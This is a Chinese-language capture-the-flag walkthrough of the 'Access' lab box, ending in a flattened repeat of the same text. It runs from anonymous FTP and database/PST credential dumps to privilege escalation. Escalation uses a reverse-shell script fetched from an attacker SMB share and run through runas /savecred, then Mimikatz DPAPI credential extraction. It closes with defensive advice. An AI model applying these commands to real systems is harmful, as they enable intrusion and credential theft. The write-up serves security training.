[Meachines] [Easy] Access FTP匿名登录+mdb文件解析+Outlook PST提取+Runas权限提升+DPAPI滥用(Mimikatz)凭据提取权限提升
字数 2022 2025-08-22 12:23:41

Access 渗透测试实战教学文档

1. 信息收集阶段

1.1 初始扫描

使用Masscan进行快速端口扫描:

sudo masscan -p1-65535,U:1-65535 10.10.10.98 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.98

扫描结果:

  • 21/tcp: FTP (Microsoft ftpd),允许匿名登录
  • 23/tcp: Telnet (Microsoft Windows XP telnetd)
  • 80/tcp: HTTP (Microsoft IIS 7.5)

1.2 服务识别

FTP服务

  • 匿名登录允许
  • 系统类型:Windows_NT

Telnet服务

  • 提供NTLM信息:
    • Target_Name: ACCESS
    • NetBIOS_Domain_Name: ACCESS
    • NetBIOS_Computer_Name: ACCESS
    • DNS_Domain_Name: ACCESS
    • DNS_Computer_Name: ACCESS
    • Product_Version: 6.1.7600

HTTP服务

  • 服务器:Microsoft-IIS/7.5
  • 标题:MegaCorp
  • 潜在风险方法:TRACE

2. 初始访问

2.1 FTP匿名登录

wget -r --no-passive-ftp ftp://anonymous:a@10.10.10.98

获取文件:

  • backup.mdb - Microsoft Access数据库备份文件

2.2 MDB文件分析

使用mdb-tools分析Access数据库:

mdb-tables backup.mdb | grep --color=auto user
mdb-export backup.mdb auth_user

发现用户凭证:

id username password Status last_login RoleID Remark
25 admin admin1 0 8/23/18 21:11:47 26 27
engineer access4u@security 0 8/23/18 21:13:36 26 28
backup_admin admin108 0 8/23/18 21:14:02 26

2.3 Outlook PST文件分析

发现Access Control.zip文件,使用密码access4u@security解压:

7z l -slt Access\ Control.zip
7z x Access\ Control.zip

提取PST文件内容:

readpst -tea -m Access\ Control.pst

获取凭证:

  • username: security
  • password: 4Cc3ssC0ntr0ller

2.4 Telnet登录

使用获取的凭证登录Telnet:

telnet 10.10.10.98

成功获取user flag:
73fa98942d74fda472f164a668838635

3. 权限提升

3.1 Runas利用

  1. 准备PowerShell反向shell脚本
  2. 通过SMB共享传输到目标机器:
impacket-smbserver share /tmp/ -smb2support

目标机器执行:

copy \\10.10.16.6\share\rev.ps1 .
powershell -ExecutionPolicy Bypass -File "C:\Users\security\rev.ps1"
  1. 检查保存的凭据:
cmdkey /list

发现已保存的Administrator凭据

  1. 利用保存的凭据执行命令:
runas /user:ACCESS\Administrator /savecred "powershell -ExecutionPolicy Bypass -File "C:\Users\security\rev.ps1""

3.2 DPAPI滥用与Mimikatz

  1. 获取当前用户SID:
(Get-WmiObject -Class Win32_UserAccount -Filter "Name='security'" ).SID
  1. 查找凭据文件:
dir /S /AS C:\Users\security\AppData\Local\Microsoft\Vault
dir /S /AS C:\Users\security\AppData\Local\Microsoft\Credentials
dir /S /AS C:\Users\security\AppData\Local\Microsoft\Protect
dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Vault
dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Credentials
dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Protect
  1. 提取凭据文件和主密钥:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580"))
  1. 使用Mimikatz分析:
dpapi::cred /in:51AB168BE4BDB3A603DADE4F8CA81290 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
dpapi::masterkey /in:0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
dpapi::cred /in:51AB168BE4BDB3A603DADE4F8CA81290

获取管理员凭据:

  • username: administrator
  • password: 55Acc3ssS3cur1ty@megacorp

3.3 获取Root Flag

使用管理员凭据获取root flag:
ec98536f795aca4c117bad2bc689f96c

4. 关键知识点总结

  1. FTP匿名登录:检查FTP服务是否允许匿名访问,可能泄露敏感文件
  2. MDB文件分析:使用mdb-tools工具分析Microsoft Access数据库文件
  3. Outlook PST文件:包含邮件和潜在凭证,使用readpst工具提取内容
  4. Runas利用:Windows保存的凭据可通过runas命令利用
  5. DPAPI滥用:Windows数据保护API存储的凭据可通过Mimikatz提取
  6. 凭证存储位置
    • AppData\Roaming\Microsoft\Credentials
    • AppData\Roaming\Microsoft\Protect
  7. Mimikatz使用:提取DPAPI保护的凭据需要主密钥文件和用户密码

5. 防御建议

  1. 禁用FTP匿名登录
  2. 加密存储数据库备份文件
  3. 避免在邮件中存储敏感凭证
  4. 限制runas命令的使用和凭据保存
  5. 定期审计DPAPI保护的凭据
  6. 使用强密码策略,避免密码重用
  7. 监控异常进程如Mimikatz的执行
Access 渗透测试实战教学文档 1. 信息收集阶段 1.1 初始扫描 使用Masscan进行快速端口扫描: 扫描结果: 21/tcp : FTP (Microsoft ftpd),允许匿名登录 23/tcp : Telnet (Microsoft Windows XP telnetd) 80/tcp : HTTP (Microsoft IIS 7.5) 1.2 服务识别 FTP服务 : 匿名登录允许 系统类型:Windows_ NT Telnet服务 : 提供NTLM信息: Target_ Name: ACCESS NetBIOS_ Domain_ Name: ACCESS NetBIOS_ Computer_ Name: ACCESS DNS_ Domain_ Name: ACCESS DNS_ Computer_ Name: ACCESS Product_ Version: 6.1.7600 HTTP服务 : 服务器:Microsoft-IIS/7.5 标题:MegaCorp 潜在风险方法:TRACE 2. 初始访问 2.1 FTP匿名登录 获取文件: backup.mdb - Microsoft Access数据库备份文件 2.2 MDB文件分析 使用 mdb-tools 分析Access数据库: 发现用户凭证: | id | username | password | Status | last_ login | RoleID | Remark | |----|----------------|-----------------------|--------|---------------------|--------|--------| | 25 | admin | admin1 | 0 | 8/23/18 21:11:47 | 26 | 27 | | | engineer | access4u@security | 0 | 8/23/18 21:13:36 | 26 | 28 | | | backup_ admin | admin108 | 0 | 8/23/18 21:14:02 | 26 | | 2.3 Outlook PST文件分析 发现 Access Control.zip 文件,使用密码 access4u@security 解压: 提取PST文件内容: 获取凭证: username: security password: 4Cc3ssC0ntr0ller 2.4 Telnet登录 使用获取的凭证登录Telnet: 成功获取user flag: 73fa98942d74fda472f164a668838635 3. 权限提升 3.1 Runas利用 准备PowerShell反向shell脚本 通过SMB共享传输到目标机器: 目标机器执行: 检查保存的凭据: 发现已保存的Administrator凭据 利用保存的凭据执行命令: 3.2 DPAPI滥用与Mimikatz 获取当前用户SID: 查找凭据文件: 提取凭据文件和主密钥: 使用Mimikatz分析: 获取管理员凭据: username: administrator password: 55Acc3ssS3cur1ty@megacorp 3.3 获取Root Flag 使用管理员凭据获取root flag: ec98536f795aca4c117bad2bc689f96c 4. 关键知识点总结 FTP匿名登录 :检查FTP服务是否允许匿名访问,可能泄露敏感文件 MDB文件分析 :使用mdb-tools工具分析Microsoft Access数据库文件 Outlook PST文件 :包含邮件和潜在凭证,使用readpst工具提取内容 Runas利用 :Windows保存的凭据可通过runas命令利用 DPAPI滥用 :Windows数据保护API存储的凭据可通过Mimikatz提取 凭证存储位置 : AppData\Roaming\Microsoft\Credentials AppData\Roaming\Microsoft\Protect Mimikatz使用 :提取DPAPI保护的凭据需要主密钥文件和用户密码 5. 防御建议 禁用FTP匿名登录 加密存储数据库备份文件 避免在邮件中存储敏感凭证 限制runas命令的使用和凭据保存 定期审计DPAPI保护的凭据 使用强密码策略,避免密码重用 监控异常进程如Mimikatz的执行